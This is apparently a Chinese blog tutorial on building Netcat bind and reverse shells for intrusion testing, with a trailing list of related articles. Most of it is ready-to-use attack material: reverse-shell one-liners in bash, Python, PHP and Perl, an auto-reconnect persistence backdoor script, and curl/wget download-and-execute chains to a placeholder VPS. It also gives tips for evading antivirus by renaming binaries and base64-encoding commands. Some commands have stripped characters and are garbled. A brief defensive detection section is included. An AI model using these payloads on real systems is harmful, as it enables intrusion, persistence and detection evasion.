内网渗透与运维应急:Netcat正向与反向Shell实战指南
1. 项目概述从“瑞士军刀”到内网通道Netcat这个被无数安全从业者和系统管理员昵称为“网络瑞士军刀”的小工具其貌不扬却功能强大。它本质上是一个通过TCP或UDP协议在网络连接间读写数据的工具。今天我们不谈那些基础的端口扫描或文件传输而是聚焦于一个在特定场景下极具价值的实战应用利用Netcat在内网环境中构建正向与反向Shell通道。这听起来可能有些“黑客”色彩但其应用场景远不止于此。想象一下你作为运维工程师管理着一个庞大的、网络策略严格的内网环境。某台位于核心区域的服务器突然出现异常但跳板机无法直达常规的SSH服务又因为安全策略或配置问题无法使用。这时一个预先部署或临时建立的Netcat Shell通道可能就是你的救命稻草。它允许你绕过复杂的网络拓扑直接获得一个命令行交互界面进行紧急故障排查。当然这种能力也常被用于渗透测试中的权限维持与横向移动以验证内网防御的有效性。因此理解其原理、掌握其构建方法对于防御方和攻击方在授权测试中都至关重要。本文将彻底拆解正向Shell与反向Shell的核心区别、适用场景并给出从零开始、步步为营的实操指南。我会结合自己踩过的坑分享如何让连接更稳定、如何规避常见的安全软件检测、以及当连接意外断开时如何自动重连等进阶技巧。无论你是想提升应急响应能力的安全工程师还是希望深入理解网络通信本质的开发者这篇指南都将提供可直接复现的“作战手册”。2. 核心概念解析正向与反向Shell的本质区别在深入命令行之前我们必须先厘清正向ShellBind Shell和反向ShellReverse Shell的根本逻辑。这是理解所有后续操作的基础选错模式很可能导致整个操作失败。2.1 正向Shell守株待兔正向Shell的模式非常类似于我们常见的Web服务器。它的核心逻辑是在目标机器上开启一个监听端口等待攻击者或管理员主动来连接。工作流程如下在目标机器Server上执行命令启动Netcat监听某个端口例如4444并将该端口接收到的数据交给本地的Shell程序如/bin/bash或cmd.exe处理。在控制机器Client上使用Netcat主动连接到目标机器的监听端口如192.168.1.100:4444。连接建立后在控制端输入的命令会发送到目标端由目标端的Shell执行并将结果回传至控制端。生活化类比这就像你在公司内网架设了一台内部电话监听端口并告知同事你的分机号是4444。任何知道这个号码的同事控制端都可以主动拨打这个分机号与你建立通话Shell会话。优点逻辑直观在控制端操作简单只需一个连接命令。缺点极其依赖网络可达性。如果目标机器位于防火墙或NAT设备之后防火墙规则阻止了入站连接到4444端口那么控制端将永远无法“拨通电话”。在现代严格的内网安全策略下随意开放入站端口非常困难且容易被发现。2.2 反向Shell主动报到反向Shell则完全颠倒了连接方向。它的核心逻辑是让目标机器主动发起连接到控制机指定的监听端口。工作流程如下先在控制机器Client上启动Netcat监听一个端口例如5555准备“接电话”。在目标机器Server上执行命令让Netcat主动连接到控制机的IP和端口如192.168.1.10:5555并将本地的Shell输入输出重定向到这个网络连接。连接建立后控制端就获得了目标机器的Shell。生活化类比这就像你告诉同事“我的分机号是5555你有问题就主动打给我。”随后同事目标机主动拨打你的分机控制端监听端口建立连接。这样一来无论同事所在的办公室目标网络有什么样的外出电话规则只要允许向外发起连接到你的分机号通话就能建立。优点能绕过大多数入站防火墙限制。因为连接是从内部向外发起的这符合很多内网机器需要访问外部服务的常规行为模式不易被入站规则拦截。在渗透测试中这是突破网络边界、建立 foothold 的常用手段。缺点需要控制机有一个可供目标机访问的IP和端口。如果控制机也在内网且两者网络不通则无法使用。通常需要配合端口转发或内网穿透技术。注意在实际的内网渗透或运维应急场景中反向Shell因其更高的成功率成为绝对的主流选择。正向Shell通常只在目标网络环境非常开放或用于本地权限提升后的监听时使用。为了更直观地对比我将两者的关键差异总结如下表特性正向Shell (Bind Shell)反向Shell (Reverse Shell)连接方向控制端 - 目标端目标端 - 控制端目标端动作监听端口主动连接控制端动作主动连接监听端口防火墙绕过能力弱需开放入站强利用出站规则典型使用场景同网段、无严格入站限制的环境穿透防火墙、NAT从外网控制内网命令复杂度目标端命令稍复杂控制端命令固定目标端命令需携带控制端IP3. 环境准备与Netcat工具选型工欲善其事必先利其器。Netcat的实现众多不同版本和变体的参数可能略有差异。选择合适版本并理解其基本参数是成功构建Shell通道的第一步。3.1 Netcat 变体简介原版 Netcat (nc)由Hobbit编写功能经典但已停止开发。某些版本不支持-e参数用于执行程序这在构建Shell时是个大问题。GNU Netcat (netcat)作为原版的替代品但开发也一度停滞。Ncat来自Nmap项目的产品是目前最推荐使用的版本。它集成了原版Netcat的所有功能并增加了SSL支持、连接代理、更强大的连接重定向等特性且持续维护。我们后续的演示将主要基于Ncat。OpenBSD NetcatOpenBSD系统自带的版本以安全为重同样支持-e参数在BSD和Linux系统中常见。Socat堪称“Netcat的超级增强版”语法更复杂功能也强大得多可以建立多种复杂的双向通信通道。对于有更高阶需求如稳定终端、流量加密的场景Socat是终极选择。对于大多数场景优先使用Ncat。如果目标系统没有可能需要上传静态编译的二进制文件这在后文会提到。3.2 基础参数详解构建Shell通道主要用到以下几个核心参数-l或--listen监听模式用于等待传入连接。-p port指定本地端口监听时或远程端口连接时。-e program关键参数。在连接建立后执行指定的程序。例如-e /bin/bash就是将连接与Bash绑定。不是所有Netcat变体都支持此参数Ncat和OpenBSD版本支持。-v或-vv详细输出便于调试能看到连接状态。-n直接使用IP地址不进行DNS解析加快连接速度。-k(Ncat特有)在连接断开后保持监听状态继续接受新连接。对于需要多次连接的服务端非常有用。3.3 实战环境搭建为了模拟真实内网环境我建议使用虚拟机构建一个简单的实验网络控制机 (Attacker/Kali Linux)IP:192.168.1.10。扮演渗透测试者或外部运维管理员的角色。目标机 (Victim/CentOS 7)IP:192.168.1.100。模拟内网中的一台服务器。确保两台机器之间网络互通。在实际操作前请检查防火墙如firewalld、iptables或Windows防火墙是否放行了实验所用的端口或在实验时临时关闭防火墙仅限实验环境。4. 正向Shell (Bind Shell) 构建实战我们先从相对简单的正向Shell开始。假设目标机和控制机在同一网段且目标机防火墙允许入站连接到我们选择的端口。4.1 基础命令与操作在目标机 (192.168.1.100) 上执行nc -lvnp 4444 -e /bin/bash-l: 监听模式。-v: 显示详细信息。-n: 不解析域名。-p 4444: 监听4444端口。-e /bin/bash: 当有连接接入时执行/bin/bash并将其输入输出绑定到该网络连接。执行后你会看到类似listening on [any] 4444 ...的提示表示目标机已在4444端口上“守株待兔”。在控制机 (192.168.1.10) 上执行nc 192.168.1.100 4444这条命令再简单不过就是连接到目标机的4444端口。连接成功后控制机的终端就会“变成”目标机的Bash。你可以尝试输入id、pwd、ls等命令看到的将是目标机上的执行结果。4.2 Windows 目标机的正向Shell如果目标机是Windows命令有所不同因为它的Shell是cmd.exe。在Windows目标机上假设已上传ncat.exencat.exe -lvnp 4444 -e cmd.exe在Linux控制机上连接命令不变nc 192.168.1.100 4444连接成功后你将获得一个Windows的CMD命令行。4.3 正向Shell的稳定性优化与缺陷基础的Netcat Shell有一个致命缺点它是“一次性”的且非常脆弱。一旦连接断开网络波动、误操作关闭Shell会话就结束了目标机上的Netcat进程也会退出你需要重新在目标机启动监听。为了解决这个问题可以使用一些技巧使用-k参数保持监听 (仅限Ncat)ncat -lvkp 4444 -e /bin/bash这样即使一个连接断开端口仍然保持监听可以接受新的连接。但这并没有解决单个会话内部的不稳定问题。使用命名管道或Socat创建更稳定的交互环境 正向Shell的输入输出处理比较原始容易导致命令行编辑功能如退格键、方向键异常。一个更健壮的方案是使用Socat或结合命名管道。在目标机上mkfifo /tmp/f /bin/bash -i /tmp/f 21 | nc -l 4444 /tmp/f这条命令创建了一个命名管道/tmp/f然后启动一个交互式Bash将其输入输出通过管道与Netcat绑定。这种方式比单纯的-e参数更稳定。断开后需要手动清理/tmp/f管道文件。实操心得在实际的内网环境中由于防火墙策略正向Shell很难成功。我几乎只在获得目标机权限后在本地127.0.0.1监听一个端口然后通过SSH隧道或端口转发工具将本地端口映射到我的控制机上变相使用正向Shell。直接让目标机对公网或内网大范围监听高危端口无异于“插旗”极易被安全设备发现。5. 反向Shell (Reverse Shell) 构建实战反向Shell是真正的重头戏也是内网穿透中最常用的技术。其关键在于连接方向的反转。5.1 基础反向Shell命令第一步在控制机 (192.168.1.10) 上启动监听。nc -lvnp 5555控制机开始监听5555端口等待“电话”接入。你会看到listening on [any] 5555 ...。第二步在目标机 (192.168.1.100) 上发起连接。nc 192.168.1.10 5555 -e /bin/bash目标机主动连接到控制机的5555端口并将Bash绑定上去。一旦执行控制机的终端窗口会立即显示连接建立的提示如connect to [192.168.1.10] from (UNKNOWN) [192.168.1.100] 60606并出现目标机的Shell提示符。5.2 无-e参数时的替代方法很多老旧系统或精简版的Netcat可能不支持-e参数。这时需要利用Linux系统的输入输出重定向功能手动构建反向Shell。这是必须掌握的技巧。在目标机上使用Bash的重定向bash -i /dev/tcp/192.168.1.10/5555 01这条命令是反向Shell的经典写法不依赖Netcat。bash -i启动一个交互式Bash。 /dev/tcp/192.168.1.10/5555将标准输出STDOUT和标准错误STDERR都重定向到TCP连接192.168.1.10:5555。/dev/tcp/是Bash的一个特殊特性允许进行TCP通信。01将标准输入STDIN重定向到标准输出也就是同样指向那个TCP连接。这样一个完整的交互式Shell通道就通过TCP建立起来了。在控制机监听端你同样能获得Shell。其他常见语言的单行反向Shell命令备用当目标机没有Bash或Netcat时可以使用其他解释器。Python:python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.10,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);PHP:php -r $sockfsockopen(192.168.1.10,5555);exec(/bin/bash -i 3 3 23);Perl:perl -e use Socket;$i192.168.1.10;$p5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/bash -i);};准备一个这样的“命令清单”在实战中非常有用。5.3 提升反向Shell的体验与稳定性基础的反向Shell同样存在体验差、易断开的问题。我们需要对其进行加固。使用Python pty 模块升级为完全交互式Shell 基础Shell无法使用vim,top等需要完整TTY终端的程序。使用Python可以模拟一个完整的终端。在控制机获得基础Shell后在目标机Shell中执行python -c import pty; pty.spawn(/bin/bash)或者更健壮的方式python3 -c import pty; pty.spawn(/bin/bash)执行后Shell的交互性会大大增强。使用Socat构建终极稳定反向Shell Socat是构建稳定Shell通道的“神器”。它需要分别在控制端和目标端部署。在控制机监听socat TCP-LISTEN:5555 FILE:tty,raw,echo0在目标机连接socat TCP:192.168.1.10:5555 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane这样建立的Shell支持终端尺寸调整、信号传递如CtrlC、作业控制等几乎和SSH体验无异。持久化与自动重连 网络可能中断。我们可以写一个简单的脚本来实现断线重连。在目标机上创建一个脚本/tmp/rs.sh#!/bin/bash while true; do nc 192.168.1.10 5555 -e /bin/bash 2/dev/null sleep 10 # 等待10秒后重试 done然后后台运行chmod x /tmp/rs.sh nohup /tmp/rs.sh 。这样即使连接断开脚本也会尝试重新建立连接。注意这是一个非常明显的持久化后门在真实渗透测试中需谨慎使用并最终清理。6. 内网穿透场景下的反向Shell进阶应用前面我们假设控制机和目标机在同一网络。现实中控制机往往在外网目标在内网。这就需要结合内网穿透技术。6.1 利用公网服务器作为跳板这是最典型的场景。你拥有一台具有公网IP的云服务器VPS。在公网VPS控制端上监听端口nc -lvnp 5555。确保VPS防火墙安全组开放5555端口。在目标内网机器上将反向Shell连接到公网VPS的IP和端口。 这样内网机器主动出站连接到公网IP成功绕过了内网的入站防火墙限制。6.2 当控制机也在内网时端口转发与代理如果控制机和目标机分属不同的内网且均无公网IP则需要一个双方都能访问的“中转站”。使用frp/ngrok等内网穿透工具在公网VPS上部署服务端在控制机内网部署客户端将控制机本地的5555端口暴露到公网一个特定域名/端口上。然后让目标机反向Shell连接到这个公网地址。使用SSH远程端口转发如果有一台跳板机假设有一台跳板机Jumper可以被控制机和目标机访问。在控制机上执行ssh -R 5555:localhost:5555 userjumper_ip。这条命令将跳板机上的5555端口转发到控制机的本地5555端口。在目标机上将反向Shell连接到jumper_ip:5555。这样流量路径是目标机 - 跳板机:5555 - SSH隧道 - 控制机:5555。6.3 通过Web服务投递Payload在严格环境下目标机可能无法直接出站连接到任意IP端口但通常可以访问互联网HTTP/HTTPS。我们可以利用这一点。在公网VPS上部署一个Web服务器如Python HTTP服务。将Netcat的静态二进制文件如nc或ncat和反向Shell脚本放在Web目录下。通过钓鱼、漏洞利用等方式让目标机执行一条组合命令实现下载、执行、连接的一气呵成curl http://your-vps-ip/ncat -o /tmp/nc chmod x /tmp/nc /tmp/nc your-vps-ip 5555 -e /bin/bash或者使用更隐蔽的wget或直接Bash下载wget -q http://your-vps-ip/shell.sh -O- | bashshell.sh的内容就是反向Shell命令。7. 隐蔽性、对抗与排查技巧在真实环境尤其是安全演练中直接使用Netcat很容易被安全软件AV/EDR或网络监控发现。我们需要一些规避技巧。7.1 流量与行为隐蔽端口选择不要使用4444、5555、6667等常见端口。使用80、443、53DNS、3389RDP等常见服务端口能一定程度上混淆流量。使用加密明文的Shell流量是致命的。Ncat支持SSL。生成证书openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes控制端监听ncat --ssl -lvnp 443 --ssl-cert cert.pem --ssl-key key.pem目标端连接ncat --ssl 192.168.1.10 443 -e /bin/bash这样所有传输内容都被加密。进程与命令行伪装将上传的Netcat重命名为一个看似正常的系统进程名如sshd、syslogd。或者将反向Shell命令编码后执行避免在进程列表中出现明显的nc或IP地址。# 使用Base64编码 echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvNTU1NSAwPiYx | base64 -d | bash7.2 常见问题排查实录即使命令正确连接失败也是家常便饭。以下是我总结的排查清单现象可能原因排查步骤控制端监听无反应1. 端口被占用2. 防火墙阻止监听1. netstat -tlnp目标机连接被拒绝1. 控制端IP/端口错误2. 控制端未启动监听3. 网络不通1. 在目标机用telnet 控制端IP 5555测试连通性。2. 确认控制端监听命令已执行且无报错。3. 检查路由和中间防火墙的出站规则。连接建立后立即断开1. 目标端-e指定的程序路径错误2. Shell环境问题1. 检查目标机是否存在/bin/bashWindows是cmd.exe。2. 尝试使用/bin/sh或指定绝对路径。Shell无响应或卡死1. 输入输出流未正确重定向2. 网络延迟或丢包1. 对于无-e版本仔细检查重定向命令01等。2. 尝试使用Socat等更稳定工具。3. 使用stty raw -echo; fg命令修复控制端TTY在获得初始Shell后按CtrlZ然后输入此命令。命令执行异常缺少完整的TTY在Shell内使用Python或socat升级到完全交互式TTY见5.3节。安全软件报警Netcat行为被识别为恶意1. 使用加密SSL。2. 使用其他工具替代如socat, powershell。3. 尝试使用纯正版系统工具如Windows的mshta、rundll32构建下载与执行链。7.3 防御视角如何发现和阻断Netcat Shell了解攻击方能更好地防御。作为蓝队或系统管理员可以从以下方面监控网络流量监控IDS/IPS规则应包含对nc、ncat常见参数和明文中出现/bin/bash、cmd.exe的流量告警。关注非常用端口上的长连接TCP会话。主机进程监控监控进程创建事件告警名为nc、ncat或带有可疑IP端口参数的进程。关注从Web服务如curl、wget派生出的bash或cmd进程。文件系统监控监控/tmp、/dev/shm等临时目录下是否有Netcat等可疑二进制文件被创建或执行。出站连接分析检查内网服务器是否有到非业务IP非常用端口的周期性出站连接。构建Netcat Shell通道是一项基础但强大的网络技能它深刻体现了TCP套接字与进程输入输出重定向的结合。从简单的正向连接到复杂的反向穿透从原始的Bash重定向到稳定的Socat隧道其演变过程本身就是一部与网络限制对抗的微型史。掌握它不仅是为了在特定场景下获得一个应急的入口更是为了理解网络通信、进程间通信和系统安全机制的底层逻辑。在实战中永远没有一成不变的命令需要根据目标环境、可用工具和防御措施灵活调整、组合运用。最后记住能力越大责任越大这些技术务必在合法授权的范围内使用。

相关新闻

PowerShell安全配置实战:从漏洞防护到纵深防御的2025终极指南

PowerShell安全配置实战:从漏洞防护到纵深防御的2025终极指南

1. 项目概述:为什么PowerShell安全配置是2025年的必修课如果你是一名Windows系统管理员、安全工程师,或者仅仅是需要在Windows环境下进行自动化运维的开发者,那么PowerShell绝对是你绕不开的核心工具。它功能强大,几乎能操控Windo…

2026/6/29 4:32:51阅读更多 →
Linux服务器SSH安全加固实战:从暴力破解防御到sshd_config配置详解

Linux服务器SSH安全加固实战:从暴力破解防御到sshd_config配置详解

1. 项目概述:为什么SSHD加固是运维的必修课最近在排查一台暴露在公网的测试服务器日志时,发现/var/log/secure里塞满了Failed password for invalid user的条目,时间戳密集得像雨点。这再典型不过了,就是脚本小子在用字典在暴力撞…

2026/6/29 4:32:51阅读更多 →
TLSv1.0/1.1安全加固实战:Nginx与Apache配置禁用指南

TLSv1.0/1.1安全加固实战:Nginx与Apache配置禁用指南

1. 项目概述:为什么TLSv1.0/1.1必须被淘汰?如果你还在服务器上看到TLSv1.0或TLSv1.1的配置,那基本等同于在数字世界的城墙上留了一道后门。这不是危言耸听,而是过去几年里安全审计报告中最常见的高危项之一。我处理过不少因为PCI …

2026/6/29 4:32:51阅读更多 →
奇安信安服实习生面试复盘:从渗透思路到实战漏洞的全面考察

奇安信安服实习生面试复盘:从渗透思路到实战漏洞的全面考察

1. 面试前的准备与基础考察 面试官的第一个问题往往是了解应聘者的实战经验。我被问到是否参加过护网行动(HW),这其实是安全行业的敲门砖问题。如果你有相关经历,建议提前整理好以下细节:具体时间(比如2023…

2026/6/29 5:53:00阅读更多 →
RA8D2时钟系统实战:从架构解析到CAC频率测量与调试

RA8D2时钟系统实战:从架构解析到CAC频率测量与调试

1. 项目概述与核心价值在嵌入式开发的世界里,时钟系统就像是整个微控制器(MCU)的“心跳”和“节拍器”。它远不止是让芯片“跑起来”那么简单,其配置的精准度、稳定性和灵活性,直接决定了系统性能的上限、功耗的下限&a…

2026/6/29 5:53:00阅读更多 →
Cursor AI破解工具深度解析:如何突破试用限制获得永久Pro功能

Cursor AI破解工具深度解析:如何突破试用限制获得永久Pro功能

Cursor AI破解工具深度解析:如何突破试用限制获得永久Pro功能 【免费下载链接】cursor-free-vip [Support 0.45](Multi Language 多语言)自动注册 Cursor Ai ,自动重置机器ID , 免费升级使用Pro 功能: Youve reached y…

2026/6/29 5:53:00阅读更多 →
Neuralangelo:面向工业级CAD可用的神经隐式几何重建

Neuralangelo:面向工业级CAD可用的神经隐式几何重建

1. 这不是又一个NeRF复刻:Neuralangelo到底在解决什么真问题?如果你最近翻过CVPR或ICCV的论文列表,或者刷过arXiv上3D重建方向的最新提交,“Neuralangelo”这个名字大概率已经撞进你视野里两次以上。它不是某个开源小项目的代号&a…

2026/6/29 5:53:00阅读更多 →
WPF 3D可视化利器:HelixToolkit库从入门到实战

WPF 3D可视化利器:HelixToolkit库从入门到实战

1. 为什么选择HelixToolkit进行WPF 3D开发 第一次接触WPF 3D开发时,我尝试过直接使用WPF原生的3D API。那真是一段痛苦的经历——光是设置一个简单的立方体就需要写几十行XAML代码,更别提实现模型导入和交互功能了。直到发现了HelixToolkit这个宝藏库&am…

2026/6/29 5:53:00阅读更多 →
在deepin-wine环境下配置ClamAV进行Windows恶意软件扫描

在deepin-wine环境下配置ClamAV进行Windows恶意软件扫描

1. 项目概述:为什么要在deepin-wine环境下做安全扫描?如果你在Linux上,特别是像Deepin、UOS这类国产发行版上,用deepin-wine跑过Windows软件,那你大概率遇到过这种情况:从某个不太确定的渠道下载了一个.exe…

2026/6/29 5:48:00阅读更多 →
AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

6个月前的2025年12月,Boris Cherny 公开宣布自己卸载了 IDE。一时间,Vibe Coding 成了全行业最热的话题。6个月后,当我们回过头来拉一份真实账本,发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…

2026/6/29 3:27:55阅读更多 →
审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

引言:审计结束三个月了,审计员的权限还没关某城商行每年按照监管要求开展至少一次数据安全审计。审计期间,内审部门需要抽样检查各类业务数据——交易流水、客户信息、员工操作日志、权限配置记录。这些数据分布在不同系统中,审计…

2026/6/29 2:19:08阅读更多 →
如何在3秒内从普通图片生成专业级法线贴图:DeepBump的终极指南

如何在3秒内从普通图片生成专业级法线贴图:DeepBump的终极指南

如何在3秒内从普通图片生成专业级法线贴图:DeepBump的终极指南 【免费下载链接】DeepBump Normal & height maps generation from single pictures 项目地址: https://gitcode.com/gh_mirrors/de/DeepBump 还在为3D建模中的纹理制作而烦恼吗?…

2026/6/29 0:01:47阅读更多 →
OCAuxiliaryTools:终极OpenCore配置工具,让黑苹果安装从未如此简单!

OCAuxiliaryTools:终极OpenCore配置工具,让黑苹果安装从未如此简单!

OCAuxiliaryTools:终极OpenCore配置工具,让黑苹果安装从未如此简单! 【免费下载链接】OCAuxiliaryTools Cross-platform GUI management tools for OpenCore(OCAT) 项目地址: https://gitcode.com/gh_mirrors/oc/OCA…

2026/6/29 0:01:47阅读更多 →
终极Windows 11精简指南:使用tiny11builder快速创建纯净系统镜像

终极Windows 11精简指南:使用tiny11builder快速创建纯净系统镜像

终极Windows 11精简指南:使用tiny11builder快速创建纯净系统镜像 【免费下载链接】tiny11builder Scripts to build a trimmed-down Windows 11 image. 项目地址: https://gitcode.com/GitHub_Trending/ti/tiny11builder 你是否厌倦了Windows 11系统自带的20…

2026/6/29 0:01:47阅读更多 →